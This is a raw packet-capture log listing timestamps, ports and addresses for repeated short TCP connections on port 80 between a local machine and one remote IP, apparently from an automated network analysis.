Jan 9, 2025 04:13:19.073843002 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:19.073936939 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:19.078680038 CET	80	49978	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:19.435174942 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:19.440047026 CET	80	49978	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:19.766458035 CET	80	49978	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:19.809757948 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:19.895446062 CET	80	49978	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:19.950368881 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.026688099 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.026978016 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.031724930 CET	80	49978	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.031841993 CET	80	49984	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.031909943 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.031948090 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.032042980 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.037986994 CET	80	49984	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.399271965 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.404156923 CET	80	49984	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.718605995 CET	80	49984	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.778593063 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.847402096 CET	80	49984	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.887873888 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.960072041 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.960139990 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.965341091 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.965629101 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.970339060 CET	80	49984	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.970453024 CET	49984	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.970477104 CET	80	49990	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:20.970549107 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.970642090 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:20.975431919 CET	80	49990	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:21.325506926 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.331020117 CET	80	49990	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:21.667953968 CET	80	49990	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:21.716202021 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.801448107 CET	80	49990	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:21.856657028 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.915940046 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.916052103 CET	49996	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.920836926 CET	80	49996	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:21.920993090 CET	49996	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.921021938 CET	80	49990	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:21.921109915 CET	49996	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.921123981 CET	49990	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:21.925879955 CET	80	49996	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.278804064 CET	49996	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.283814907 CET	80	49996	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.341979980 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.341984987 CET	49996	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.346863985 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.346945047 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.347023964 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.351849079 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.390844107 CET	80	49996	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.421139956 CET	80	49996	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.421192884 CET	49996	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.464148998 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.469006062 CET	80	50002	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.469074965 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.469166040 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.473925114 CET	80	50002	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.700488091 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.705307007 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.705482960 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:22.825594902 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:22.830391884 CET	80	50002	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.056955099 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.106659889 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.185549974 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.194870949 CET	80	50002	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.231643915 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.247448921 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.324851036 CET	80	50002	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.372407913 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.448421001 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.448498011 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.448779106 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.453391075 CET	80	50002	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.453443050 CET	50002	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.453537941 CET	80	50008	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.453608036 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.453691959 CET	80	50001	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.453727007 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.453731060 CET	50001	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.458507061 CET	80	50008	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:23.809842110 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:23.814785004 CET	80	50008	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:24.172323942 CET	80	50008	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:24.216043949 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:24.307225943 CET	80	50008	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:24.356890917 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:24.435384989 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:24.440263987 CET	80	50016	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:24.440316916 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:24.440439939 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:24.445175886 CET	80	50016	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:24.794413090 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:24.799319029 CET	80	50016	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:25.149656057 CET	80	50016	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:25.200408936 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.285523891 CET	80	50016	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:25.341171026 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.522845030 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.529601097 CET	80	50016	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:25.532080889 CET	50016	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.557085991 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.562331915 CET	80	50022	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:25.564270020 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.566310883 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.571104050 CET	80	50022	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:25.919342995 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:25.924220085 CET	80	50022	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:26.260720015 CET	80	50022	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:26.309798956 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.395663977 CET	80	50022	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:26.450400114 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.515505075 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.516122103 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.520520926 CET	80	50022	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:26.520596981 CET	50022	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.520903111 CET	80	50029	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:26.521030903 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.521147966 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.525860071 CET	80	50029	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:26.872370958 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:26.877202988 CET	80	50029	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:27.220649004 CET	80	50029	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:27.263030052 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.358288050 CET	80	50029	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:27.403536081 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.480449915 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.480623007 CET	50039	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.485440016 CET	80	50029	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:27.485454082 CET	80	50039	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:27.485495090 CET	50029	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.485527992 CET	50039	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.485671997 CET	50039	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.490463018 CET	80	50039	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:27.841286898 CET	50039	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:27.846170902 CET	80	50039	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.197752953 CET	80	50039	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.207820892 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.208081961 CET	50039	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.212702990 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.213090897 CET	80	50039	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.213169098 CET	50039	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.214211941 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.216094971 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.220915079 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.411607981 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.416412115 CET	80	50046	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.418114901 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.418483019 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.423326969 CET	80	50046	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.576395035 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.581223965 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.581368923 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.763256073 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:28.771503925 CET	80	50046	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.931915045 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:28.981664896 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.061760902 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.106796980 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.126698971 CET	80	50046	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.169158936 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.182024002 CET	80	50008	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.182085991 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.241731882 CET	80	50046	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.294181108 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.367422104 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.367423058 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.367577076 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.372425079 CET	80	50052	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.372437954 CET	80	50044	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.372509956 CET	50044	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.372601986 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.372601986 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.372673035 CET	80	50046	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.372723103 CET	50046	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.377454042 CET	80	50052	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:29.731745958 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:29.736540079 CET	80	50052	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:30.073327065 CET	80	50052	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:30.124063015 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:30.203598976 CET	80	50052	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:30.248060942 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:30.320358038 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:30.325171947 CET	80	50059	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:30.326200962 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:30.326200962 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:30.331022978 CET	80	50059	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:30.688066959 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:30.692910910 CET	80	50059	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:31.000279903 CET	80	50059	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:31.044198036 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.129070997 CET	80	50059	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:31.187251091 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.294853926 CET	50052	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.306973934 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.311937094 CET	80	50059	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:31.312102079 CET	50059	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.313813925 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.318644047 CET	80	50068	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:31.318733931 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.322175026 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.326946020 CET	80	50068	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:31.669280052 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:31.674108982 CET	80	50068	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.007905960 CET	80	50068	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.059788942 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.137615919 CET	80	50068	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.184884071 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.265656948 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.265887022 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.270745039 CET	80	50074	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.270756006 CET	80	50068	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.270833969 CET	50068	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.270941019 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.270941019 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.275755882 CET	80	50074	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.622379065 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:32.627233982 CET	80	50074	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:32.990453959 CET	80	50074	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:33.044171095 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.132744074 CET	80	50074	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:33.184788942 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.292917013 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.293260098 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.298057079 CET	80	50081	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:33.298126936 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.298285007 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.298938036 CET	80	50074	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:33.299110889 CET	50074	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.303107023 CET	80	50081	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:33.653654099 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:33.658555031 CET	80	50081	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:33.975429058 CET	80	50081	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.028537035 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.096267939 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.096569061 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.101089954 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.101623058 CET	80	50081	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.101696014 CET	50081	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.102336884 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.110318899 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.115164995 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.358484983 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.363292933 CET	80	50089	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.363360882 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.363455057 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.368217945 CET	80	50089	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.466291904 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.471139908 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.471266031 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.716142893 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.721245050 CET	80	50089	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.779726028 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.825432062 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:34.913580894 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:34.966072083 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.052525043 CET	80	50089	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:35.106707096 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.187799931 CET	80	50089	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:35.231692076 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.306400061 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.306411982 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.306715012 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.312467098 CET	80	50098	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:35.313898087 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.314002037 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.314721107 CET	80	50087	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:35.314732075 CET	80	50089	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:35.314790010 CET	50087	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.314799070 CET	50089	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.318739891 CET	80	50098	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:35.669285059 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:35.676429033 CET	80	50098	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:36.024610043 CET	80	50098	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:36.075457096 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:36.157993078 CET	80	50098	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:36.200531960 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:36.275389910 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:36.280247927 CET	80	50105	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:36.280323029 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:36.280546904 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:36.285315990 CET	80	50105	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:36.638014078 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:36.642786026 CET	80	50105	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:36.966104031 CET	80	50105	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.013051033 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.097605944 CET	80	50105	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.153980970 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.212914944 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.213125944 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.217866898 CET	80	50105	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.217925072 CET	50105	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.217957973 CET	80	50111	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.218022108 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.218146086 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.222944021 CET	80	50111	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.575514078 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:37.580425978 CET	80	50111	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.903207064 CET	80	50111	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:37.950556040 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.035408020 CET	80	50111	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:38.091058969 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.152592897 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.152827978 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.157586098 CET	80	50111	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:38.157636881 CET	80	50114	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:38.157701969 CET	50111	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.157733917 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.157850027 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.162631989 CET	80	50114	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:38.513639927 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:38.518630028 CET	80	50114	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:38.870728016 CET	80	50114	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:38.919229984 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.001894951 CET	80	50114	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.044397116 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.119745016 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.119913101 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.124820948 CET	80	50114	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.124835968 CET	80	50115	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.124893904 CET	50114	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.124934912 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.126364946 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.131160021 CET	80	50115	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.481864929 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.486769915 CET	80	50115	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.835094929 CET	80	50115	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.888055086 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.920079947 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.920113087 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.924957991 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.925169945 CET	80	50115	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:39.925261021 CET	50115	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.925277948 CET	50116	80	192.168.2.4	62.109.16.145
